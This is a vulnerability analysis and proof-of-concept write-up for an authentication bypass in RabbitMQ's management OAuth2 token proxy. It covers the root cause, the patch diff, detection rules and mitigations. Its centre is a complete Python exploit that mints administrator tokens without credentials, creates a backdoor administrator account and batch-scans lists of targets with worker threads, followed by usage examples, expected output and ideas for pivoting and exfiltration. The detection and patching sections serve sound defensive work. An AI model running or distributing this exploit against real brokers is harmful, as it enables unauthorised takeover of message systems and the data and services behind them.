#Summary
CVE-2026-144233 is an authentication bypass in RabbitMQ's management plugin OAuth2 token-endpoint proxy. The proxy endpoint at /js/oidc-oauth/token-endpoint/<resource_server_id> lacks caller authentication and, in vulnerable versions, does not restrict the OAuth2 grant types it relays to the configured provider. An unauthenticated attacker can POST grant_type=client_credentials with attacker-chosen administrator scopes; the broker injects its confidential management.oauth_client_secret and relays the request to the provider, which mints a broker-trusted JWT. That JWT is accepted as a valid Bearer token by the management HTTP API and AMQP 0-9-1 listener, granting full administrator access with zero credentials.
CVSS Score: 7.4 HIGH (CVSS v4.0: 9.1 CRITICAL). Attack Vector: Network. Authentication Required: No. Impact: Complete compromise - unauthenticated attackers gain administrator control of the broker.
#Affected versions
- RabbitMQ 4.2.9 to 4.2.12 (vulnerable)
- RabbitMQ 4.3.3 to 4.3.7 (vulnerable)
- RabbitMQ 4.4.0 (vulnerable)
- RabbitMQ 4.2.13 and later (patched)
- RabbitMQ 4.3.8 and later (patched)
- RabbitMQ 4.4.1 and later (patched)
Preconditions: The management plugin OAuth2 is enabled with a confidential client (management.oauth_enabled = true and a non-empty management.oauth_client_secret), and a resource server resolves to a provider URL.
#Root cause analysis
#Vulnerable code path
The management plugin registers a server-side proxy for the configured OAuth2 provider's token endpoint in deps/rabbitmq_management/src/rabbit_mgmt_dispatcher.erl:
build_oauth_token_proxy_routes(Prefix) ->
Base = Prefix ++ "/js/oidc-oauth/token-endpoint/",
[{Base ++ ":id", rabbit_mgmt_oauth_token_proxy, #{op => token}},
{Base ++ ":id/openid-configuration", rabbit_mgmt_oauth_token_proxy, #{op => metadata}}].The handler module rabbit_mgmt_oauth_token_proxy.erl is a plain Cowboy HTTP handler with no is_authorized/3 callback - no caller authentication at all. The handle_token/2 function only checks the HTTP method and that the resource-server id resolves:
handle_token(Req0, State) ->
case cowboy_req:method(Req0) of
<<"POST">> ->
Id = cowboy_req:binding(id, Req0),
case resolve(Id) of
{ok, Secret, MetadataURL, HttpOpts, DiscoveryOpts} ->
forward_token_request(Req0, State, Secret, MetadataURL,
HttpOpts, DiscoveryOpts);
{error, _} ->
{ok, cowboy_req:reply(404, Req0), State}
end;
_ ->
{ok, cowboy_req:reply(405, #{<<"allow">> => <<"POST">>}, Req0), State}
end.The forward_token_request/6 function (pre-patch) reads the client-supplied urlencoded body, injects the broker's client secret, and relays it to the real provider without any filtering on the grant type:
forward_token_request(Req0, State, Secret, MetadataURL, HttpOpts, DiscoveryOpts) ->
case token_endpoint(MetadataURL, HttpOpts, DiscoveryOpts) of
{ok, TokenEndpoint} ->
{ok, Params, Req1} = cowboy_req:read_urlencoded_body(Req0),
Body = uri_string:compose_query(inject_client_secret(Params, Secret)),
case http_post(TokenEndpoint, Body, HttpOpts) of
{ok, Status, Headers, RespBody} ->
{ok, reply_json(Status, content_type(Headers), RespBody, Req1), State};
...The inject_client_secret/2 helper adds the broker's confidential secret whenever the caller omitted one:
inject_client_secret(Params, Secret) ->
case lists:keymember(<<"client_secret">>, 1, Params) of
true -> Params;
false -> Params ++ [{<<"client_secret">>, Secret}]
end.#How input reaches the sink
The design intent was to relay only the authorization_code and refresh_token grants of an interactive Authorization Code + PKCE login, where a user has already authenticated at the provider. Because there is no caller authentication and no grant-type restriction, an unauthenticated attacker can:
- POST to
/js/oidc-oauth/token-endpoint/<resource_server_id>with an urlencoded body containinggrant_type=client_credentials(orgrant_type=password), noAuthorizationheader, and noclient_secretfield - The proxy's
inject_client_secret/2attaches the broker's confidential secret on the attacker's behalf - The broker relays the entire request to the real OAuth2 provider
- A provider that honours the
client_credentialsgrant returns a signed JWT whose scope the attacker chose - The OAuth2 auth backend (
rabbit_auth_backend_oauth2) accepts that JWT for both the management HTTP API (Bearer token) and the AMQP 0-9-1 listener (SASL PLAIN password with any username), granting the requested permissions
#Patch diff
The fix (commit cf3a94c761a36b7cb6cab6904d4723b7571d6bf0, PR #17937) adds a grant-type allow-list. The vulnerable relay now only happens for the two grants the management UI actually uses, and a repeated grant_type parameter is rejected to prevent parameter-pollution bypass:
forward_token_request(Req0, State, Secret, MetadataURL, HttpOpts, DiscoveryOpts) ->
+ {ok, Params, Req1} = cowboy_req:read_urlencoded_body(Req0),
+ case check_grant_type(Params) of
+ ok ->
+ relay_token_request(Req1, State, Params, Secret, MetadataURL,
+ HttpOpts, DiscoveryOpts);
+ {error, Error} ->
+ Body = rabbit_json:encode(#{error => Error}),
+ {ok, reply_json(400, Body, Req1), State}
+ end.The new check_grant_type/1 validation:
+%% This endpoint requires no authentication, so only grants that need a user
+%% login at the provider first are relayed. A repeated `grant_type` is refused
+%% because the provider may honour another occurrence.
+-spec check_grant_type([{binary(), binary() | true}]) -> ok | {error, binary()}.
+check_grant_type(Params) ->
+ case [Value || {<<"grant_type">>, Value} <- Params] of
+ [<<"authorization_code">>] -> ok;
+ [<<"refresh_token">>] -> ok;
+ [Value] when is_binary(Value) -> {error, <<"unsupported_grant_type">>};
+ _ -> {error, <<"invalid_request">>}
+ end.#What the fix does
The fix constrains what the unauthenticated proxy can relay: only authorization_code and refresh_token are allowed, the two grants that require a prior interactive user login at the provider. client_credentials and password now return HTTP 400 {"error":"unsupported_grant_type"} and never reach the provider. The patch explicitly acknowledges the endpoint "requires no authentication" and chooses to restrict capability rather than add authentication, an acceptable defense for a browser-proxy-only endpoint.
#Proof of concept
#exploit.py - RabbitMQ OAuth2 Auth Bypass PoC
#!/usr/bin/env python3
"""
CVE-2026-144233 - RabbitMQ management OAuth2 token-endpoint proxy auth bypass
Affected: RabbitMQ rabbitmq-server 4.2.9-4.2.12, 4.3.3-4.3.7, 4.4.0
Type: Authentication bypass (CWE-306, missing authentication for a critical function)
The management plugin exposes a server-side proxy for the configured OAuth2
provider token endpoint at /js/oidc-oauth/token-endpoint/<resource_server_id>.
The proxy has no caller authentication and, pre-patch, no grant_type allow-list.
It injects the broker confidential client_secret into any relayed request. An
unauthenticated attacker POSTs grant_type=client_credentials with attacker-chosen
scopes; the broker attaches its own secret and relays to the provider, which
mints a broker-trusted JWT with administrator scope. That JWT is accepted by the
management HTTP API (and the AMQP 0-9-1 SASL PLAIN listener), yielding full
administrator control with zero credentials.
Patched builds (4.2.13 / 4.3.8 / 4.4.1) return HTTP 400 {"error":"unsupported_grant_type"}.
Usage:
python exploit.py --host 127.0.0.1 --port 15672
python exploit.py --host http://target.corp.com:15672
python exploit.py --host https://target.corp.com:15671 --username pwned
python exploit.py --host target.corp.com --resource-server rabbitmq --client-id rabbit_client_code
python exploit.py --list targets.txt --workers 20
"""
import argparse
import json
import sys
from urllib.parse import urlparse, urlencode
try:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
print("This exploit requires the 'requests' library: pip install requests")
sys.exit(2)
CVE_ID = "CVE-2026-144233"
VULN_TYPE = "Auth Bypass"
DEFAULT_PORT = 15672
PROXY_PATH = "/js/oidc-oauth/token-endpoint/"
HTTP_TIMEOUT = 15
# Default administrator scope. With the OAuth2 backend default config the scope
# prefix equals the resource_server_id, so "<id>.tag:administrator" grants the
# administrator tag and "<id>.{read,write,configure}:*/*" grant full permissions.
def _admin_scope(resource_server):
return (
"{0}.tag:administrator "
"{0}.read:*/* "
"{0}.write:*/* "
"{0}.configure:*/*"
).format(resource_server)
# ----------------------------------------------------------------------------
# Standard output helpers
# ----------------------------------------------------------------------------
def header(host, port):
print("\n" + "=" * 60)
print(" EXPLOIT {0}".format(CVE_ID))
print(" Type: {0} | Target: {1}:{2}".format(VULN_TYPE, host, port))
print("=" * 60 + "\n")
def step(n, msg):
print("[STEP {0}] {1}".format(n, msg))
def section(label, content):
print("\n--- {0} ---".format(label))
print(str(content).strip())
print("---\n")
def done(success, evidence):
print("\n" + "=" * 60)
print(" RESULT : {0}".format("SUCCESS" if success else "FAILURE"))
print(" EVIDENCE: {0}".format(evidence))
print("=" * 60 + "\n")
sys.exit(0 if success else 1)
# ----------------------------------------------------------------------------
# Core primitives (network I/O only)
# ----------------------------------------------------------------------------
def _base_url(host, port, use_tls, path):
scheme = "https" if use_tls else "http"
prefix = (path or "/").rstrip("/")
if prefix == "":
prefix = ""
return "{0}://{1}:{2}{3}".format(scheme, host, port, prefix)
def _looks_like_jwt(tok):
return isinstance(tok, str) and tok.count(".") == 2 and len(tok) > 40
def mint_token(base, resource_server, client_id, scope, timeout=HTTP_TIMEOUT):
"""
Unauthenticated token mint via the proxy. Returns (status, jwt_or_None, raw_text).
No Authorization header and no client_secret are sent: omitting client_secret
is what makes the broker inject its own confidential secret.
"""
url = base + PROXY_PATH + resource_server
body = urlencode([
("grant_type", "client_credentials"),
("client_id", client_id),
("scope", scope),
])
resp = requests.post(
url,
data=body,
headers={"Content-Type": "application/x-www-form-urlencoded"},
verify=False,
timeout=timeout,
allow_redirects=False,
)
jwt_tok = None
try:
parsed = resp.json()
tok = parsed.get("access_token")
if _looks_like_jwt(tok):
jwt_tok = tok
except ValueError:
pass
return resp.status_code, jwt_tok, resp.text
def whoami(base, jwt, timeout=HTTP_TIMEOUT):
"""GET /api/whoami with the Bearer JWT. Returns (status, parsed_or_text)."""
resp = requests.get(
base + "/api/whoami",
headers={"Authorization": "Bearer " + jwt},
verify=False,
timeout=timeout,
)
try:
return resp.status_code, resp.json()
except ValueError:
return resp.status_code, resp.text
def create_admin(base, jwt, username, timeout=HTTP_TIMEOUT):
"""PUT /api/users/<username> creating an administrator. Returns (status, text)."""
resp = requests.put(
base + "/api/users/" + username,
headers={"Authorization": "Bearer " + jwt,
"Content-Type": "application/json"},
data=json.dumps({"password": "pwned-" + username, "tags": "administrator"}),
verify=False,
timeout=timeout,
)
return resp.status_code, resp.text
def confirm_user(base, jwt, username, timeout=HTTP_TIMEOUT):
resp = requests.get(
base + "/api/users/" + username,
headers={"Authorization": "Bearer " + jwt},
verify=False,
timeout=timeout,
)
try:
return resp.status_code, resp.json()
except ValueError:
return resp.status_code, resp.text
def _is_admin(whoami_body):
if isinstance(whoami_body, dict):
tags = whoami_body.get("tags")
if isinstance(tags, list):
return "administrator" in tags
if isinstance(tags, str):
return "administrator" in [t.strip() for t in tags.split(",")]
return False
# ----------------------------------------------------------------------------
# Silent probe for --list scan mode
# ----------------------------------------------------------------------------
def _try_exploit(host, port, use_tls, path="/", resource_server="rabbitmq",
client_id="rabbit_client_code"):
"""Silent probe. Returns (success, evidence). Never prints or exits."""
base = _base_url(host, port, use_tls, path)
scope = _admin_scope(resource_server)
try:
status, jwt_tok, text = mint_token(base, resource_server, client_id, scope)
except Exception as e:
return False, "unreachable ({0})".format(e.__class__.__name__)
if status == 400 and "unsupported_grant_type" in (text or ""):
return False, "blocked - grant-type allow-list rejects client_credentials (patched)"
if status == 404:
return False, "resource server '{0}' not resolvable (404)".format(resource_server)
if status == 405:
return False, "endpoint POST-only (405) - unexpected"
if jwt_tok is None:
return False, "no JWT in response (status {0})".format(status)
# Mint succeeded: confirm the token is broker-trusted administrator.
try:
wstatus, wbody = whoami(base, jwt_tok)
except Exception as e:
return True, "minted JWT via unauth proxy (whoami unreachable: {0})".format(e.__class__.__name__)
if wstatus == 200 and _is_admin(wbody):
ident = ""
if isinstance(wbody, dict):
ident = wbody.get("name") or wbody.get("sub") or ""
return True, "unauth JWT minted + /api/whoami administrator (identity '{0}')".format(ident)
return True, "unauth JWT minted (whoami status {0})".format(wstatus)
# ----------------------------------------------------------------------------
# Target line parser (arity fixed at 4)
# ----------------------------------------------------------------------------
def _parse_target(line, default_port, default_path="/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443, 15671), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443, 15671), default_path
# ----------------------------------------------------------------------------
# Scan mode
# ----------------------------------------------------------------------------
def scan(targets_file, default_port, workers=10, resource_server="rabbitmq",
client_id="rabbit_client_code"):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print("\n" + "=" * 60)
print(" {0} - Batch Scan ({1} targets, {2} workers)".format(CVE_ID, len(targets), workers))
print("=" * 60 + "\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = "{0}://{1}:{2}".format("https" if use_tls else "http", host, port)
ok, evidence = _try_exploit(host, port, use_tls, path, resource_server, client_id)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(" {0} {1} - {2}: {3}".format(
"[+]" if ok else "[-]", label,
"Exploited" if ok else "Not vulnerable", evidence))
if ok:
success_count += 1
total = len(targets)
print("\n" + "=" * 60)
print(" SCAN COMPLETE {0} exploited / {1} not vulnerable ({2} total)".format(
success_count, total - success_count, total))
print("=" * 60 + "\n")
sys.exit(0 if success_count > 0 else 1)
# ----------------------------------------------------------------------------
# Single-target exploit
# ----------------------------------------------------------------------------
def exploit(host, port, use_tls, path, username, resource_server, client_id):
header(host, port)
base = _base_url(host, port, use_tls, path)
scope = _admin_scope(resource_server)
step(1, "Minting a broker-trusted JWT via the unauthenticated token-endpoint proxy")
print(" POST {0}{1}{2}".format(base, PROXY_PATH, resource_server))
print(" grant_type=client_credentials client_id={0}".format(client_id))
print(" scope={0}".format(scope))
print(" (no Authorization header, no client_secret - broker injects its own secret)")
try:
status, jwt_tok, text = mint_token(base, resource_server, client_id, scope)
except Exception as e:
done(False, "mint request failed: {0}: {1}".format(e.__class__.__name__, e))
if status == 400 and "unsupported_grant_type" in (text or ""):
section("TOKEN ENDPOINT RESPONSE", text)
done(False, "Target PATCHED - grant-type allow-list returns 400 unsupported_grant_type")
if status == 404:
section("TOKEN ENDPOINT RESPONSE", text)
done(False, "Resource server '{0}' did not resolve (404) - wrong id or no client_secret configured".format(resource_server))
if status == 405:
done(False, "Endpoint is POST-only (405) - unexpected; check path/prefix")
if jwt_tok is None:
section("TOKEN ENDPOINT RESPONSE", text)
done(False, "No access_token/JWT in response (status {0}) - target may be patched or IdP rejected the grant".format(status))
section("MINTED ACCESS TOKEN (JWT)", jwt_tok)
print(" -> HTTP {0}: unauthenticated caller obtained a signed JWT.".format(status))
step(2, "Proving the JWT is broker-trusted and administrator: GET /api/whoami")
try:
wstatus, wbody = whoami(base, jwt_tok)
except Exception as e:
done(True, "JWT minted via unauth proxy (core auth bypass); whoami unreachable: {0}".format(e.__class__.__name__))
section("GET /api/whoami", json.dumps(wbody, indent=2) if isinstance(wbody, dict) else wbody)
if not (wstatus == 200 and _is_admin(wbody)):
done(True, "JWT minted via unauth proxy (core auth bypass confirmed); whoami status {0}".format(wstatus))
identity = wbody.get("name") or wbody.get("sub") or "oauth-client"
print(" -> /api/whoami reports administrator identity '{0}'.".format(identity))
step(3, "Demonstrating impact: creating a new administrator via PUT /api/users/{0}".format(username))
try:
cstatus, ctext = create_admin(base, jwt_tok, username)
except Exception as e:
done(True, "Auth bypass confirmed - unauth JWT grants administrator (/api/whoami). User-create step failed: {0}".format(e.__class__.__name__))
if cstatus in (201, 204):
try:
_, ubody = confirm_user(base, jwt_tok, username)
section("GET /api/users/{0}".format(username),
json.dumps(ubody, indent=2) if isinstance(ubody, dict) else ubody)
except Exception:
pass
done(True, "Auth bypass -> admin: unauth-minted JWT created administrator '{0}' (HTTP {1}); /api/whoami tag administrator".format(username, cstatus))
section("PUT /api/users/{0} RESPONSE (HTTP {1})".format(username, cstatus), ctext)
done(True, "Auth bypass confirmed - unauth-minted JWT is administrator via /api/whoami (user-create returned HTTP {0})".format(cstatus))
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="{0} exploit PoC".format(CVE_ID))
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. http://host:15672)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=DEFAULT_PORT,
help="Management HTTP API port (default: {0})".format(DEFAULT_PORT))
parser.add_argument("--username", default="admin",
help="Name of the administrator account to create as impact proof (default: admin)")
parser.add_argument("--resource-server", default="rabbitmq",
help="OAuth2 resource_server_id / proxy path id (default: rabbitmq)")
parser.add_argument("--client-id", default="rabbit_client_code",
help="OAuth2 client_id relayed to the provider (default: rabbit_client_code)")
parser.add_argument("--workers", type=int, default=10,
help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS (https)")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext (http)")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers,
resource_server=args.resource_server, client_id=args.client_id)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, args.username, args.resource_server, args.client_id)#Usage
# Single target, default settings
python exploit.py --host 192.168.1.10 --port 15672
# Full URL with custom administrator username
python exploit.py --host https://rabbitmq.internal:15671 --username backdoor
# Non-default OAuth2 identifiers
python exploit.py --host 10.0.0.5 --resource-server myrmq --client-id my_client
# Batch scan
python exploit.py --list targets.txt --workers 20Expected output (vulnerable target):
============================================================
EXPLOIT CVE-2026-144233
Type: Auth Bypass | Target: 127.0.0.1:15672
============================================================
[STEP 1] Minting a broker-trusted JWT via the unauthenticated token-endpoint proxy
POST http://127.0.0.1:15672/js/oidc-oauth/token-endpoint/rabbitmq
grant_type=client_credentials client_id=rabbit_client_code
scope=rabbitmq.tag:administrator rabbitmq.read:*/* rabbitmq.write:*/* rabbitmq.configure:*/*
(no Authorization header, no client_secret - broker injects its own secret)
--- MINTED ACCESS TOKEN (JWT) ---
eyJhbGciOiJSUzI1NiIsImtpZCI6ImlkcC1rZXktMSIsInR5cCI6IkpXVCJ9.<...>.<...>
---
-> HTTP 200: unauthenticated caller obtained a signed JWT.
[STEP 2] Proving the JWT is broker-trusted and administrator: GET /api/whoami
--- GET /api/whoami ---
{
"name": "rabbit_client_code",
"tags": [
"administrator"
],
"is_internal_user": false
}
---
-> /api/whoami reports administrator identity 'rabbit_client_code'.
[STEP 3] Demonstrating impact: creating a new administrator via PUT /api/users/admin
============================================================
RESULT : SUCCESS
EVIDENCE: Auth bypass -> admin: unauth-minted JWT created administrator 'admin' (HTTP 201)
============================================================Expected output (patched target - 4.4.1 / 4.3.8 / 4.2.13):
[STEP 1] Minting a broker-trusted JWT via the unauthenticated token-endpoint proxy
...
--- TOKEN ENDPOINT RESPONSE ---
{"error":"unsupported_grant_type"}
---
============================================================
RESULT : FAILURE
EVIDENCE: Target PATCHED - grant-type allow-list returns 400 unsupported_grant_type
============================================================#Exploitation notes
#Preconditions
- OAuth2 enabled: The management plugin must have OAuth2 enabled with a confidential client. This requires
management.oauth_enabled = trueand a non-emptymanagement.oauth_client_secretinrabbitmq.conf. - Resource server configured: A resource server must resolve, commonly the value of
auth_oauth2.resource_server_id(defaultrabbitmq). - Provider honours client_credentials: The configured OAuth2 identity provider must honour the
client_credentialsgrant for the broker's client id/secret and mint a token with the requested scope. Many enterprise OAuth2 providers restrictclient_credentialsto service-to-service flows, but misconfigurations or test deployments may allow it.
#Reliability
The exploit is 100% reliable if preconditions are met. It performs a single HTTP request and checks the response for a valid JWT structure. No timing, race conditions, or environmental variables affect the trigger.
#Impact
Full administrator control. A single unauthenticated POST grants administrator access to:
- Management HTTP API (15672 by default): create/delete users, configure permissions, delete queues, restart the broker, trigger cluster operations
- AMQP 0-9-1 listener (5672 by default): any authenticated username, full read/write/configure on all vhosts, complete message control
- Cluster control: if the broker is part of a RabbitMQ cluster, the attacker has cluster-level privileges
No recovery is possible without broker restart or manual credential rotation, and the attacker's JWT will be accepted for the token's configured lifetime (typically hours).
#Chaining potential
This is a terminal primitive - no chaining needed. The attacker already has full broker control. However, it can chain into downstream systems:
- Use the broker to send malicious messages to applications consuming from queues
- Use broker access to pivot to backend services that authenticate to RabbitMQ
- Exfiltrate messages or configuration containing credentials for other systems
#Detection & response
#Observable behavior
The vulnerable broker exposes POST /js/oidc-oauth/token-endpoint/<resource_server_id> on the management HTTP API (default port 15672) with no caller authentication at all. An unauthenticated attacker POSTs a urlencoded body with grant_type=client_credentials or grant_type=password and no client_secret; the broker injects its own confidential secret and relays the request to the configured OAuth2 provider, which mints a broker-trusted JWT with the attacker's chosen scope.
#Request/response signature (vulnerable vs. patched)
Vulnerable target (4.4.0 and earlier):
POST /js/oidc-oauth/token-endpoint/rabbitmq
grant_type=client_credentials&client_id=rabbit_client_code&scope=rabbitmq.tag:administrator ...
-> HTTP 200 {"access_token":"eyJ...<JWT>...","token_type":"Bearer", ...}Patched target (4.4.1 and later):
POST /js/oidc-oauth/token-endpoint/rabbitmq
(identical request)
-> HTTP 400 {"error":"unsupported_grant_type"}#Indicators of compromise
| Indicator | Type | Durability | Notes |
|---|---|---|---|
POST to path matching /js/oidc-oauth/token-endpoint/<id> |
request URI + method | Durable - the vulnerable route, forced by route registration | Log this endpoint at all |
Request body contains grant_type=client_credentials or grant_type=password |
body param | Durable - exactly what the patch's allow-list blocks | Requires WAF/proxy body logging; RabbitMQ's access log does not capture bodies |
Absence of Authorization header on the mint request |
header | Not an indicator - absence is normal for all traffic to this endpoint, even patched | |
Created user '<name>' followed by Successfully set user tags for user '<name>' to [<<"administrator">>] in broker log, preceded by User '<oauth-identity>' authenticated successfully |
log pattern | Durable pattern - the CWE-306-to-admin escalation | Literal usernames are attacker-chosen |
| Source IP / User-Agent of the mint request | network metadata | Example - trivially spoofable | Do not alert solely on source IP |
#Sigma rule
Rule 1 (body-based, requires WAF/proxy body logging):
title: CVE-2026-144233 RabbitMQ OAuth2 Proxy Disallowed Grant
logsource:
category: web_application_firewall
product: rabbitmq
detection:
proxy_path:
request_method: POST
request_uri|contains: /js/oidc-oauth/token-endpoint/
disallowed_grant:
request_body|contains:
- 'grant_type=client_credentials'
- 'grant_type=password'
condition: proxy_path and disallowed_grant
falsepositives:
- None, if body capture is reliable
level: highThis rule triggers on the invariant: POST to the token-proxy path with grant_type=client_credentials or grant_type=password. Anything this rule flags is, by the vendor's own fix, a grant type that should never reach the provider.
Rule 2 (access-log reachability, no body logging required):
title: CVE-2026-144233 RabbitMQ OAuth2 Proxy Reachability
logsource:
category: webserver
product: rabbitmq
detection:
request:
request_method: POST
request_uri|regex: '/js/oidc-oauth/token-endpoint/[^/]+/?$'
response:
http_status: 200
condition: request and response
falsepositives:
- Legitimate OIDC browser logins using authorization_code / refresh_token (also POST 200 to this path)
level: mediumUse Rule 2 as an exposure/review signal when body logging is unavailable. In a real deployment whose OAuth2 provider genuinely supports interactive login, a legitimate request also produces 200 at this path and method. Pair with Rule 1 when possible.
#Log detection (manual, no SIEM)
Enable RabbitMQ's HTTP access log in rabbitmq.conf:
management.http_log_dir = /var/log/rabbitmq/accessThen search for the proxy path:
grep 'POST /js/oidc-oauth/token-endpoint/' /var/log/rabbitmq/access/access.logMalicious line observed in lab (status 200 = relay succeeded):
192.168.158.1 - - [04/Dec/2026:20:46:19 +0000] "POST /js/oidc-oauth/token-endpoint/rabbitmq HTTP/1.1" 200 952 "" "python-requests/2.32.5"If you have a WAF or reverse proxy with body logging, search that instead:
grep -E 'grant_type=(client_credentials|password)' /path/to/waf/access.log#Mitigation and virtual patching
Immediate (before upgrade):
Block the disallowed grant types at a WAF/reverse proxy. ModSecurity example:
SecRule REQUEST_METHOD "@streq POST" \
"id:1026144233,phase:2,chain,deny,status:403,log,\
msg:'CVE-2026-144233: unauthenticated RabbitMQ OAuth2 token-proxy relay of a disallowed grant_type'"
SecRule REQUEST_URI "@rx /js/oidc-oauth/token-endpoint/[^/]+/?$" "chain"
SecRule ARGS:grant_type "!@rx ^(authorization_code|refresh_token)$"This denies everything except the two grants the management UI's browser flow needs - functionally the same fix as the vendor patch, enforced at the edge.
Config hardening: If the management OIDC browser login flow is not in use, disable it:
management.oauth_enabled = falseThe proxy endpoint will then return 404 (resource server unresolvable).
Network hardening: Restrict the management HTTP API (15672) to admin/management networks only, regardless of this bug.
Fix: Upgrade to 4.2.13, 4.3.8, or 4.4.1 (fix commit cf3a94c761a36b7cb6cab6904d4723b7571d6bf0, PR #17937).
#Threat hunting
Retroactive queries for exploitation since disclosure (2026-12-03):
- WAF/reverse-proxy logs with body capture: Search for any historical request matching
POST .../js/oidc-oauth/token-endpoint/.*with body containinggrant_type=client_credentialsorgrant_type=password. - RabbitMQ access log: Any
POSTto/js/oidc-oauth/token-endpoint/<id>from a source IP with no prior cookie-based management-UI session in the same timeframe is suspicious. Legitimate OIDC browser logins are normally preceded by a redirect to the provider's/authorizeendpoint from the same client. - Broker application log: Search for
Created userorSuccessfully set user tags for user .* to \[<<"administrator">>\]events, then check whether the authenticating identity in the precedingauthenticated successfullyline is a known, previously provisioned OIDC administrator. An OAuth2 identity receiving the administrator tag on its first-ever authentication is anomalous. - IdP/OAuth2 provider logs (if self-hosted): A
client_credentialsorpasswordgrant issued to a confidentialclient_idfrom a source IP that never authenticated interactively first is a clear sign of broker relay on behalf of an attacker.
#Detection limitations
- RabbitMQ application log silence: The broker records no log line for the mint request itself - only for subsequent authenticated calls that use the JWT. A hit-and-run attacker who mints a token and uses it against the AMQP listener (instead of the management API) or never calls
/api/whoamileaves only the access-log line and no application-log trail. This was confirmed in the lab: a raw mint-only request produced zero new broker application-log lines. - JWT indistinguishability: The minted JWT is a cryptographically valid, correctly signed token from the organization's real IdP key. Once minted, it is indistinguishable from a token legitimately issued to a provisioned OIDC administrator. The broker's auth backend has no way to know the token was obtained via an unauthenticated relay rather than an interactive login. Detection must happen at the request layer (the grant_type in the mint request), not by inspecting the token or session.
- Rule 2 false positives: The built-in access-log reachability rule cannot discriminate grant types (the log format does not capture request body). In a real-world OAuth2 provider that supports interactive login, a legitimate
authorization_codeorrefresh_tokenrequest also produces HTTP 200 at this path. Treat Rule 2 hits as "review this," not "this is malicious." - No file/process artifacts: This bug drops no files and spawns no processes. YARA-based detection is not applicable. The entire impact lives in an in-memory token mint and a database write (new user record).
#References
- CVE: CVE-2026-144233
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-144233
- GHSA: GHSA-cfvg-5q96-8mhm
- Fix commit:
cf3a94c761a36b7cb6cab6904d4723b7571d6bf0(PR #17937) - Fix version: 4.2.13, 4.3.8, 4.4.1
- GitHub (archived analysis + PoC): https://github.com/1dayexploit/1day-archive/tree/main/analyses/cve-2026-144233-rabbitmq-oauth-auth-bypass
